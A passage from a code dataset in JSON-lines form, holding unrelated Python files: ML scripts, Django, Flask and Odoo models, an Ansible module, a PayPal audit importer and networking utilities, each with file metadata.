to_categorical(test_labels)\n\nrgb_image = cv2.imread('5.png',0)\ncrop_image = cv2.resize(rgb_image, dsize=(28, 28), interpolation=cv2.INTER_AREA)\n\ncrop_image = crop_image.reshape((1, 28 * 28))\ncrop_image = crop_image.astype('float32') / 255\n\nmodel = keras.models.load_model(\"mnist.h5\")\n\npredictions = model.predict(crop_image)\n\nprint(predictions[0].argmax())","sub_path":"HelloPython/day15/mymnist08image.py","file_name":"mymnist08image.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"578226862","text":"import pyconll\nimport pandas as pd\n\ndef extractN(input_file):\n trial_doc = pyconll.load_from_file(input_file)\n\n noun_ls = []\n for sentence in trial_doc:\n for word in sentence:\n if word.upos == \"NOUN\":\n noun_dict = {'n_word':word.form, 'n_id':word.id, \n 'n_type':word.deprel,'det':'','num':'','clf':[],'adj':[],\n 'nmod':[],'sen_len':len(sentence),'sen_id':sentence.id}\n for mod_word in sentence:\n if mod_word.head == word.id:\n if mod_word.upos == 'DET':\n noun_dict['det'] = mod_word.form\n elif mod_word.upos == 'NUM':\n noun_dict['num'] = mod_word.form\n elif mod_word.deprel == 'clf':\n li = []\n unit(word,sentence,li)\n noun_dict['clf'] = sortli(li)\n elif mod_word.upos == 'ADJ':\n noun_dict['adj'].append(mod_word.form)\n elif mod_word.deprel == 'nmod':\n li = []\n unit(word,sentence,li)\n noun_dict['nmod'] = sortli(li)\n noun_dict[\"adj\"] = \", \".join(noun_dict['adj'])\n noun_ls.append(noun_dict)\n df_noun =pd.DataFrame(noun_ls)\n df_noun.to_csv(input_file.replace(\".conllu\", \"_noun.csv\"))\n\n\ndef sortli(li):\n \"\"\"[summary]\n This funcion sorts a list of pyconll.word objects by word.id\n Arguments:\n li a list of pyconll.word object\n Returns:\n concatenate the sorted word.form into one string\n \"\"\"\n s1= \"\"\n d1 = {}\n for w in li:\n d1[int(w.id)]=w.form\n for i in sorted (d1.keys()):\n s1+=d1[i]\n return s1\n\ndef unit(word, sentence, outlist):\n \"\"\"[summary]\n recursively find all modifiers of word in sentence and add result to nmodlist\n\n Arguments:\n word {[pyconll.word]} \n sentence {[pyconll.sentence]} \n nmodlist {[python list]} \n \"\"\"\n for mod_word in sentence:\n if mod_word.head == word.id:\n outlist.append(mod_word)\n unit(mod_word, sentence, outlist)\n\n\nfolder = \"/home/yamei/pjkt/classifier/Multiclassifier/ud_ch_gsdsimp/data_csv/\"\nextractN(folder+'zh_gsdsimp-ud.conllu')","sub_path":"ud_ch_gsdsimp/extract_ch.py","file_name":"extract_ch.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"299857137","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import fields, models\nimport odoo.addons.decimal_precision as dp\n\n\nclass AccountTitleType(models.Model):\n\n _name = 'account.title.type'\n\n initials = fields.Char(string='Initials', size=3)\n\n name = fields.Char(string='Name')\n\n minimum_plot_value = fields.Float(string='Minimum Plot Value',\n digits=dp.get_precision('Product Price'))\n\n allow_cnab_sending = fields.Boolean(string='Allow CNAB Sending')\n","sub_path":"account_financial_operation_and_title_type/models/account_title_type.py","file_name":"account_title_type.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"308634277","text":"import os\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nexecutable_path = \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\"\n\nos.environ[\"webdriver.chrome.driver\"] = executable_path\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"--user-data-dir=\" + r\"C:/Users/qcq/AppData/Local/Google/Chrome/User Data/\")\nbrowser = webdriver.Chrome(executable_path, chrome_options=options)\n\nwait = WebDriverWait(browser, 10)\n\n\ndef search():\n browser.get('https://www.taobao.com/')\n keyword = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '#q')))\n submit = wait.until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, '#J_TSearchForm > div.search-button > button')))\n keyword.send_keys('美食')\n submit.click()\n\n\ndef main():\n search()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Test/project3/taobao.py","file_name":"taobao.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"369302344","text":"from django.conf.urls import patterns, url \nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom rest_framework.authtoken.views import obtain_auth_token\nfrom . import views\n\nurlpatterns = [\n\n url(r'^register/$', views.register_new_user, name='register-new-user'),\n \n url(r'^login/$', 'django.contrib.auth.views.login', { \n 'template_name': 'accounts/login.html', \n 'redirect_field_name': 'accounts/success.html',\n }, name='login'),\n url(r'^logout/$', 'django.contrib.auth.views.logout', {\n 'next_page': '/',\n }, name='logout'),\n\n # api \n url(r'^api-token-auth/$', obtain_auth_token),\n url(r'^users/$', views.user_list),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"588564980","text":"from flask import request\nfrom flask_jwt_extended import jwt_required, jwt_optional, get_jwt_claims, get_jwt_identity, fresh_jwt_required\nfrom flask_restful import Resource, reqparse\nfrom models.student import StudentModel as Student\n\n\nclass StudentResource(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'name',\n type=str,\n required=True,\n help='This field is required'\n )\n parser.add_argument(\n 'school_id',\n type=int,\n required=True,\n help='This field is required'\n )\n\n # Find student by ID\n def get(self, id):\n student = Student.find(id)\n if student is None:\n return {\n 'code': 404,\n 'message': 'Student data not found'\n }, 404\n\n return {\n 'code': 200,\n 'student': student._json()\n }, 200\n\n # Update student by ID\n @jwt_required\n def put(self, id):\n data = StudentResource.parser.parse_args()\n\n student = Student.find(id)\n if student is None:\n return {\n 'code': 400,\n 'message': 'Student data not found'\n }, 400\n\n student.name = data['name']\n student.school_id = data['school_id']\n student.save()\n\n return {\n 'code': 200,\n 'message': 'Student data successfully updated'\n }, 200\n\n # Delete student by ID\n @fresh_jwt_required\n def delete(self, id):\n student = Student.find(id)\n if student is None:\n return {\n 'code': 400,\n 'message': 'School data not found'\n }, 400\n\n Student.delete(id)\n return {\n 'code': 200,\n 'message': 'Student data successfully deleted'\n }, 200\n\n\nclass StudentsResource(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'name',\n type=str,\n required=True,\n help='This field is required'\n )\n parser.add_argument(\n 'school_id',\n type=int,\n required=True,\n help='This field is required'\n )\n\n # Get all students\n @jwt_optional\n def get(self):\n user_id = get_jwt_identity()\n if user_id is None:\n return {\n 'code': 200,\n 'students': []\n }, 200\n\n students = Student.get()\n return {\n 'code': 200,\n 'students': list(student._json() for student in students)\n }, 200\n\n # Register new student\n @jwt_required\n def post(self):\n data = StudentsResource.parser.parse_args()\n\n student = Student(\n _id=None,\n name=data['name'],\n school_id=data['school_id']\n )\n student.save()\n\n return {\n 'code': 201,\n 'message': 'Student data created successfully'\n }, 201\n","sub_path":"section_11_jwt_extended/resources/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"263212302","text":"#!/usr/bin/python3\n\n# pihsm: Turn your Raspberry Pi into a Hardware Security Module \n# Copyright (C) 2017 System76, Inc.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n\n\"\"\"\nInstall `pihsm`.\n\"\"\"\n\nimport sys\nif sys.version_info < (3, 4):\n sys.exit('ERROR: `pihsm` requires Python 3.4 or newer')\n\nfrom distutils.core import setup\nfrom distutils.cmd import Command\nimport os\nfrom os import path\nimport subprocess\n\nimport pihsm\nfrom pihsm.tests.run import run_tests\n\n\nTREE = path.dirname(path.abspath(__file__))\nSCRIPTS = [\n 'pihsm-private',\n 'pihsm-server',\n 'pihsm-display',\n 'pihsm-display-enable',\n 'pihsm-client',\n 'pihsm-request',\n]\n\n\ndef run_under_same_interpreter(opname, script, args):\n print('\\n** running: {}...'.format(script), file=sys.stderr)\n if not os.access(script, os.R_OK | os.X_OK):\n print('ERROR: cannot read and execute: {!r}'.format(script),\n file=sys.stderr\n )\n print('Consider running `setup.py test --skip-{}`'.format(opname),\n file=sys.stderr\n )\n sys.exit(3)\n cmd = [sys.executable, script] + args\n print('check_call:', cmd, file=sys.stderr)\n subprocess.check_call(cmd)\n print('** PASSED: {}\\n'.format(script), file=sys.stderr)\n\n\ndef run_sphinx_doctest():\n script = '/usr/share/sphinx/scripts/python3/sphinx-build'\n doc = path.join(TREE, 'doc')\n doctest = path.join(TREE, 'doc', '_build', 'doctest')\n args = ['-EW', '-b', 'doctest', doc, doctest]\n run_under_same_interpreter('sphinx', script, args)\n\n\ndef run_pyflakes3():\n script = '/usr/bin/pyflakes3'\n names = [\n 'pihsm',\n 'setup.py',\n ] + SCRIPTS\n args = [path.join(TREE, name) for name in names]\n run_under_same_interpreter('flakes', script, args)\n\n\n\nclass Test(Command):\n description = 'run unit tests and doc tests'\n\n user_options = [\n ('skip-sphinx', None, 'do not run Sphinx doctests'),\n ('skip-flakes', None, 'do not run pyflakes static checks'),\n ]\n\n def initialize_options(self):\n self.skip_sphinx = 0\n self.skip_flakes = 0\n\n def finalize_options(self):\n pass\n\n def run(self):\n if not run_tests():\n raise SystemExit(2)\n if not self.skip_sphinx:\n run_sphinx_doctest()\n if not self.skip_flakes:\n run_pyflakes3()\n\n\nsetup(\n name='pihsm',\n version=pihsm.__version__,\n description='Use Raspberry Pi as a Hardware Security Module',\n url='https://launchpad.net/pihsm',\n author='System76, Inc.',\n author_email='dev@system76.com',\n license='GPLv3+',\n cmdclass={'test': Test},\n packages=[\n 'pihsm',\n 'pihsm.tests'\n ],\n scripts=SCRIPTS,\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"478289997","text":"#!/usr/bin/python\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.helpers import ModuleRes, CartridgeException, cartridge_errcodes\nfrom ansible.module_utils.helpers import get_control_console\nfrom ansible.module_utils.helpers import dynamic_box_cfg_params\nfrom ansible.module_utils.helpers import box_cfg_was_called\n\nimport os\n\n\nargument_spec = {\n 'restarted': {'required': False, 'type': 'bool'},\n 'control_sock': {'required': True, 'type': 'str'},\n 'appname': {'required': True, 'type': 'str'},\n 'instance_conf_file': {'required': True, 'type': 'str'},\n 'conf_section_name': {'required': True, 'type': 'str'},\n 'cluster_cookie': {'required': True, 'type': 'str'},\n 'cartridge_defaults': {'required': True, 'type': 'dict'},\n 'config': {'required': True, 'type': 'dict'},\n 'stateboard': {'required': True, 'type': 'bool'},\n 'app_conf_file': {'required': True, 'type': 'str'},\n 'bin_dir': {'required': True, 'type': 'str'}\n}\n\n\ndef read_yaml_file_section(filepath, control_console, section):\n sections = control_console.eval('''\n local file = require('fio').open('{}')\n if file == nil then\n return {{\n ['{}'] = {{}}\n }}\n end\n\n local buf = {{}}\n while true do\n local val = file:read(1024)\n if val == nil then\n error('Failed to read from instance config file')\n elseif val == '' then\n break\n end\n table.insert(buf, val)\n end\n file:close()\n\n local data = table.concat(buf, '')\n local ok, ret = pcall(require('yaml').decode, data)\n if not ok then\n error('Failed to decode instance config from YAML')\n end\n return ret\n '''.format(filepath, section))\n\n if section not in sections:\n errmsg = 'File {} does not contain section: {}'.format(filepath, section)\n raise CartridgeException(cartridge_errcodes.MISSED_SECTION, errmsg)\n\n return sections[section]\n\n\ndef check_conf_updated(new_conf, old_conf, ignore_keys=[]):\n # check new conf keys\n for key, value in new_conf.items():\n if key not in ignore_keys:\n if key not in old_conf or old_conf[key] != value:\n return True\n\n # check old conf keys\n for key, value in old_conf.items():\n if key not in ignore_keys:\n if key not in new_conf or new_conf[key] != value:\n return True\n\n return False\n\n\ndef get_current_cfg(control_console):\n return control_console.eval('''\n return type(box.cfg) ~= 'function' and box.cfg or box.NULL\n ''')\n\n\ndef needs_restart(params):\n restarted = params['restarted']\n if restarted is True:\n return ModuleRes(success=True, changed=True)\n\n if restarted is False:\n return ModuleRes(success=True, changed=False)\n\n stateboard = params['stateboard']\n\n control_sock = params['control_sock']\n appname = params['appname']\n new_default_conf = params['cartridge_defaults']\n new_instance_conf = params['config']\n cluster_cookie = params['cluster_cookie']\n instance_conf_file = params['instance_conf_file']\n conf_section_name = params['conf_section_name']\n\n default_conf_path = params['app_conf_file']\n app_code_path = params['bin_dir']\n\n # check if instance was not started yet\n if not os.path.exists(control_sock):\n return ModuleRes(success=True, changed=True)\n\n try:\n control_console = get_control_console(control_sock)\n except CartridgeException as e:\n allowed_errcodes = [\n cartridge_errcodes.SOCKET_NOT_FOUND,\n cartridge_errcodes.FAILED_TO_CONNECT_TO_SOCKET,\n cartridge_errcodes.INSTANCE_IS_NOT_STARTED_YET\n ]\n if e.code in allowed_errcodes:\n return ModuleRes(success=True, changed=True)\n\n last_restart_time = os.path.getmtime(control_sock)\n\n # check if application code was updated\n package_update_time = os.path.getmtime(app_code_path)\n if last_restart_time < package_update_time:\n return ModuleRes(success=True, changed=True)\n\n # check if instance config was changed (except dynamic params)\n current_instance_conf = read_yaml_file_section(\n instance_conf_file,\n control_console,\n conf_section_name\n )\n if check_conf_updated(new_instance_conf, current_instance_conf, dynamic_box_cfg_params):\n return ModuleRes(success=True, changed=True)\n\n if not stateboard:\n # check if default config was changed (except dynamic params)\n current_default_conf = read_yaml_file_section(\n default_conf_path,\n control_console,\n appname\n )\n new_default_conf.update({'cluster_cookie': cluster_cookie})\n if check_conf_updated(new_default_conf, current_default_conf, dynamic_box_cfg_params):\n return ModuleRes(success=True, changed=True)\n\n # if box.cfg wasn't called,\n if not box_cfg_was_called(control_console):\n return ModuleRes(success=True, changed=True)\n\n current_cfg = get_current_cfg(control_console)\n if current_cfg is None:\n return ModuleRes(success=True, changed=True)\n\n for param_name in dynamic_box_cfg_params:\n new_value = None\n if param_name in new_instance_conf:\n new_value = new_instance_conf[param_name]\n elif not stateboard and param_name in new_default_conf:\n new_value = new_default_conf[param_name]\n\n # This code is ran after attempt to change parameter in runtime\n # If current parameter wasn't changed to the new value,\n # it mean that instance should be restarted to apply change\n if new_value is not None:\n if current_cfg.get(param_name) != new_value:\n return ModuleRes(success=True, changed=True)\n\n return ModuleRes(success=True, changed=False)\n\n\ndef main():\n module = AnsibleModule(argument_spec=argument_spec)\n try:\n res = needs_restart(module.params)\n except CartridgeException as e:\n module.fail_json(msg=str(e))\n\n if res.success is True:\n module.exit_json(changed=res.changed, meta=res.meta)\n else:\n module.fail_json(msg=res.msg)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/cartridge_needs_restart.py","file_name":"cartridge_needs_restart.py","file_ext":"py","file_size_in_byte":6292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"207235018","text":"# Copyright 2018\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\nimport time\n\nfrom neutron import context as ncontext\nfrom oslo_log import log as logging\n\nfrom networking_ipvs.common import constants as const\nfrom networking_ipvs.common import exceptions as ipvs_exc\nfrom networking_ipvs.common import utils\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass RevisionHelper(object):\n\n def __init__(self, conf, plugin_rpc, delete_callback, update_callback):\n self.conf = conf\n self.context = ncontext.get_admin_context_without_session()\n self.plugin_rpc = plugin_rpc\n self.delete_callback = delete_callback\n self.update_callback = update_callback\n\n def _get_local_revision(self):\n revision = None\n if os.path.exists(self.conf.revision.revision_path):\n with open(self.conf.revision.revision_path) as f:\n revision = f.read().strip()\n return revision\n\n def _set_local_revision(self, new_revision):\n with open(self.conf.revision.revision_path, 'w+') as f:\n f.write(new_revision)\n\n def _get_upstream_revisions(self, start=None, end=None):\n if not start:\n start = self._get_local_revision()\n return self.plugin_rpc.get_revisions(start, end)\n\n def update(self, vs_info, realservers):\n if realservers:\n new_revision = max([rs[const.TIMESTAMP] for rs in realservers])\n else:\n new_revision = vs_info[const.TIMESTAMP]\n missed_revisions = self._get_upstream_revisions(end=new_revision)\n if missed_revisions:\n new_revision = self._process_revisions(missed_revisions)\n self._set_local_revision(new_revision)\n\n def update_with_upstream(self, start=None, end=None):\n missed_revisions = self._get_upstream_revisions(start, end)\n if missed_revisions:\n new_revision = self._process_revisions(missed_revisions)\n if not end and new_revision:\n self._set_local_revision(new_revision)\n elif end:\n self._set_local_revision(end)\n\n def _filter_revisions(self, revisions):\n # all revisions we can get should with the following timelines:\n # (s: start, c: created_at, u: updated_at, d: deleted_at, \\:non-)\n # s -- c -- u -- \\d\n # s -- c -- \\u -- \\d\n # c -- s -- u -- d\n # c -- s -- \\u -- d\n # c -- s -- u -- \\d\n # c -- u -- s -- d\n # c -- \\u -- s -- d\n new_ts = 0\n to_delete = {}\n to_create_or_update = {const.IPVS_VIRTUALSERVER: set(),\n const.IPVS_REALSERVER: {}}\n for (created_at, updated_at, deleted_at, res_id, res_type, parent_id,\n extra) in revisions:\n new_ts = max(new_ts, created_at, updated_at, deleted_at)\n if deleted_at:\n vs_key, rs = extra.split(const.EXTRA_VS_SEP)\n listen_ip, listen_port = vs_key.split(const.EXTRA_IP_SEP)\n if res_type == const.IPVS_VIRTUALSERVER:\n if res_id not in to_delete:\n to_delete[res_id] = {\n const.LISTEN_IP: listen_ip,\n const.LISTEN_PORT: listen_port}\n else:\n to_delete[res_id][const.REALSERVERS].clear()\n to_delete[res_id][const.REALSERVERS] = {const.ALL: 1}\n else:\n server_ip, server_port = rs.split(const.EXTRA_IP_SEP)\n if parent_id not in to_delete:\n to_delete[parent_id] = {\n const.LISTEN_IP: listen_ip,\n const.LISTEN_PORT: listen_port,\n const.REALSERVERS: {\n res_id: {\n const.SERVER_IP: server_ip,\n const.SERVER_PORT: server_port}}}\n elif const.ALL not in to_delete[parent_id].get(\n const.REALSERVERS):\n to_delete[parent_id][const.REALSERVERS][res_id] = {\n const.SERVER_IP: server_ip,\n const.SERVER_PORT: server_port}\n continue\n\n if res_type == const.IPVS_VIRTUALSERVER and updated_at:\n to_create_or_update[res_type].add(res_id)\n continue\n\n if res_type == const.IPVS_REALSERVER and (\n const.ALL not in to_delete.get(parent_id, {}).get(\n const.REALSERVERS, {})):\n if parent_id not in to_create_or_update[res_type]:\n to_create_or_update[res_type][parent_id] = set()\n to_create_or_update[res_type][parent_id].add(res_id)\n to_create_or_update[const.IPVS_VIRTUALSERVER] -= set(\n to_create_or_update[const.IPVS_REALSERVER].keys())\n return new_ts, to_delete, to_create_or_update\n\n def _process_revisions(self, revisions):\n new_ts, to_delete, to_create_or_update = self._filter_revisions(\n revisions)\n if to_delete:\n for vs in to_delete.values():\n realservers = vs.pop(const.REALSERVERS)\n if const.ALL in realservers:\n realservers = []\n else:\n realservers = realservers.values()\n self.delete_callback(vs, realservers)\n # NOTE: In missed revisions, some virtual server with their real\n # servers may get re-created after deleted. In such a case,\n # deleting and creating the same vs & rs so close will case ipvs\n # \"Memory allocation problem\". Sleep 1 sec is a trick to avoid that\n time.sleep(1)\n for vid, rid in to_create_or_update[const.IPVS_REALSERVER].iteritems():\n realservers = self.plugin_rpc.get_ipvs_realservers(\n filters={'ipvs_virtualserver_id': [vid], 'id': rid})\n if not realservers:\n continue\n for rs in realservers:\n vs_info = rs.pop(const.VIRTUALSERVER)\n self.update_callback(vs_info, realservers)\n vids = to_create_or_update[const.IPVS_VIRTUALSERVER]\n if vids:\n for vs in self.plugin_rpc.get_ipvs_virtualservers(\n filters={'id': vids}):\n self.update_callback(vs)\n return new_ts\n","sub_path":"networking_ipvs/drivers/common/revision.py","file_name":"revision.py","file_ext":"py","file_size_in_byte":7039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"577297041","text":"from collections import namedtuple\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom datawinners.entity.import_data import get_entity_type_info\nfrom datawinners.project.utils import make_project_links, make_data_sender_links, make_subject_links\nfrom mangrove.form_model.form_model import REPORTER\n\n\ndef get_form_context(form_code, project, questionnaire_form, manager, hide_link_class, disable_link_class,\n is_update=False):\n form_context = _make_form_context(questionnaire_form, project, form_code, hide_link_class, disable_link_class,\n is_update)\n form_context.update(_get_subject_info(manager, project))\n\n return form_context\n\n\ndef add_link(project):\n add_link_named_tuple = namedtuple(\"Add_Link\", ['url', 'text'])\n if project.entity_type == REPORTER:\n text = _(\"Add a data sender\")\n url = make_data_sender_links(project.id)['register_datasenders_link']\n return add_link_named_tuple(url=url, text=text)\n else:\n text = _(\"Register a %(subject)s\") % {'subject': project.entity_type}\n url = make_subject_links(project.id)['register_subjects_link_web_view']\n return add_link_named_tuple(url=url, text=text)\n\n\ndef _make_form_context(questionnaire_form, project, form_code, hide_link_class, disable_link_class, is_update=False):\n return {'questionnaire_form': questionnaire_form,\n 'project': project,\n 'project_links': make_project_links(project, form_code),\n 'hide_link_class': hide_link_class,\n 'disable_link_class': disable_link_class,\n 'back_to_project_link': reverse(\"alldata_index\"),\n 'smart_phone_instruction_link': reverse(\"smart_phone_instruction\"),\n 'is_update': is_update\n }\n\n\ndef _get_subject_info(manager, project):\n subject = get_entity_type_info(project.entity_type, manager=manager)\n subject_info = {'subject': subject,\n 'add_link': add_link(project),\n \"entity_type\": project.entity_type}\n return subject_info\n\n\ndef get_project_details_dict_for_feed(project):\n additional_feed_dictionary = {}\n project_details = {'id': project.id, 'name': project.name, 'type': project.entity_type,\n 'status': project.state}\n additional_feed_dictionary.update({'project': project_details})\n return additional_feed_dictionary\n\n\n","sub_path":"datawinners/project/views/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"409701502","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('pages', '0003_auto_20150510_1242'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='pagecategory',\n name='category_id',\n field=models.CharField(default=b'id', max_length=128, verbose_name='ID'),\n ),\n ]\n","sub_path":"pages/migrations/0004_pagecategory_category_id.py","file_name":"0004_pagecategory_category_id.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"443041919","text":"#!/usr/bin/env python\n\nfrom ConfigParser import SafeConfigParser\nfrom optparse import OptionParser\nfrom queue.stomp_wrap import Stomp\nimport json\nimport csv\nimport atexit\nimport re\nimport gzip\nimport locale\nimport dateutil.parser\nfrom civicrm.civicrm import Civicrm\n\nconfig = None\nmessaging = None\noptions = None\ncivi = None\nlog_file = None\n\ndef main():\n global config, messaging, options, civi\n parser = OptionParser(usage=\"usage: %prog [options]\")\n parser.add_option(\"-c\", \"--config\", dest='configFile', default=[ \"paypal-audit.cfg\" ], action='append', help='Path to configuration file')\n parser.add_option(\"-f\", \"--auditFile\", dest='auditFile', default=None, help='CSV of transaction history')\n parser.add_option('-l', \"--logFile\", dest='logFile', default=\"audit.log\", help='Destination logfile. New messages will be appended.')\n parser.add_option(\"-n\", \"--no-effect\", dest='noEffect', default=False, action=\"store_true\", help=\"Dummy no-effect mode\")\n (options, args) = parser.parse_args()\n\n path = options.auditFile\n if re.search(r'[.]gz$', path):\n f = gzip.open(path, \"rb\")\n else:\n f = open(path, \"rU\")\n infile = csv.DictReader(f)\n\n config = SafeConfigParser()\n config.read(options.configFile)\n\n if options.noEffect:\n log(\"*** Dummy mode! Not injecting stomp messages ***\")\n\n messaging = Stomp(config)\n civi = Civicrm(config.items('Db'))\n\n locale.setlocale(locale.LC_NUMERIC, \"\")\n\n # fix spurious whitespace around column header names\n infile.fieldnames = [ name.strip() for name in infile.fieldnames ]\n\n ignore_types = [\n \"Authorization\",\n \"Cancelled Fee\",\n # currency conversion is an explanation of amounts which appear elsewhere\n \"Currency Conversion\",\n # TODO: handle in IPN\n \"Temporary Hold\",\n # seems to be the cancellation of a temporary hold\n \"Update to Reversal\",\n \"Website Payments Pro API Solution\",\n ]\n\n audit_dispatch = {\n \"Reversal\": handle_refund,\n \"Chargeback Settlement\": handle_refund,\n \"Refund\": handle_refund,\n\n \"Subscription Payment Received\": handle_payment,\n \"Web Accept Payment Received\": handle_payment,\n \"Shopping Cart Payment Received\": handle_payment,\n \"Virtual Debt Card Credit Received\": handle_payment,\n \"Payment Received\": handle_payment,\n \"Update to eCheck Received\": handle_payment,\n }\n\n for line in infile:\n if line['Type'] in ignore_types:\n log(\"Ignoring %s of type %s\" % (line['Transaction ID'], line['Type']))\n continue\n if line['Type'] in audit_dispatch:\n audit_dispatch[line['Type']](line)\n else:\n handle_unknown(line)\n\ndef handle_unknown(line):\n log(\"Unhandled transaction, type \\\"%s\\\": %s\" % (line['Type'], json.dumps(line)))\n\ndef handle_refund(line):\n global config, messaging, civi\n\n if line['Status'] != \"Completed\":\n return handle_unknown(line)\n\n txn_id = line['Transaction ID']\n\n # Construct the STOMP message\n msg = normalize_refund_msg(line)\n\n if not civi.transaction_exists(line['Reference Txn ID']):\n log(\"Refund missing parent: %s\" % (json.dumps(msg), ))\n elif not civi.transaction_exists(txn_id):\n log(\"Queueing refund %s\" % (txn_id, ))\n messaging.send(\"refund\", msg)\n else:\n log(\"Refund already exists: %s\" % (txn_id, ))\n\ndef handle_payment(line):\n global config, messaging, civi\n\n if line['Status'] != \"Completed\":\n return handle_unknown(line)\n\n txn_id = line['Transaction ID']\n\n # Construct the STOMP message\n msg = normalize_msg(line)\n\n if not civi.transaction_exists(txn_id):\n log(\"Queueing payment %s\" % (txn_id, ))\n messaging.send(\"payment\", msg)\n else:\n log(\"Payment already exists: %s\" % (txn_id, ))\n\ndef normalize_msg(line):\n timestamp = dateutil.parser.parse(\n line['Date'] + \" \" + line['Time'] + \" \" + line['Time Zone'],\n ).strftime(\"%s\")\n\n names = line['Name'].split(\" \")\n\n return {\n 'date': timestamp,\n 'email': line['From Email Address'],\n\n 'first_name': names[0],\n 'last_name': \" \".join(names[1:]),\n\n 'street_address': line['Address Line 1'],\n 'supplemental_address_1': line['Address Line 2/District/Neighborhood'],\n 'city': line['Town/City'],\n 'state_province': line['State/Province/Region/County/Territory/Prefecture/Republic'],\n 'country': line['Country'],\n 'postal_code': line['Zip/Postal Code'],\n\n 'comment': line['Note'],\n # somthing with: line['Subscription Number'],\n\n 'gross_currency': line['Currency'],\n 'gross': round(locale.atof(line['Gross']), 2),\n 'fee': round(locale.atof(line['Fee']), 2),\n 'net': round(locale.atof(line['Net']), 2),\n 'gateway': \"paypal\",\n 'gateway_txn_id': line['Transaction ID'],\n }\n\ndef normalize_refund_msg(line):\n msg = normalize_msg(line)\n\n refund_type = \"unknown\"\n if line['Type'] == \"Refund\":\n refund_type = \"refund\"\n elif line['Type'] == \"Chargeback Settlement\":\n refund_type = \"chargeback\"\n elif line['Type'] == \"Reversal\":\n refund_type = \"reversal\"\n\n msg.update({\n 'gross': 0 - msg['gross'],\n 'fee': 0 - msg['fee'],\n 'net': 0 - msg['net'],\n 'type': refund_type,\n 'gateway_refund_id': line['Transaction ID'],\n 'gateway_parent_id': line['Reference Txn ID'],\n })\n\n return msg\n\n\ndef log(msg):\n global options, log_file\n if not log_file:\n log_file = open(options.logFile, 'a')\n atexit.register(file.close, log_file)\n log_file.write(msg + \"\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"audit/paypal/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"602820039","text":"from . import Criterion\nimport torch, pdb\nimport torch.nn as nn\nfrom .. import DataParallel\nfrom .. import distributions as dist\nfrom ..utils import checktuple, checklist\nfrom ..modules.modules_bottleneck import MLP\nfrom numpy import cumprod\n\n\nclass Adversarial(Criterion):\n module_class = MLP\n def __init__(self, input_params=None, adversarial_params=None, optim_params={}, cuda=None, **kwargs):\n assert input_params\n super(Adversarial, self).__init__()\n self.adversarial_params=adversarial_params\n self.input_params = input_params\n self.init_modules(input_params, adversarial_params)\n self.init_optimizer(optim_params)\n if cuda is not None:\n if issubclass(type(cuda), list):\n self.cuda(cuda[0])\n if len(cuda) > 1:\n self = DataParallel(self, cuda, cuda[0])\n else:\n 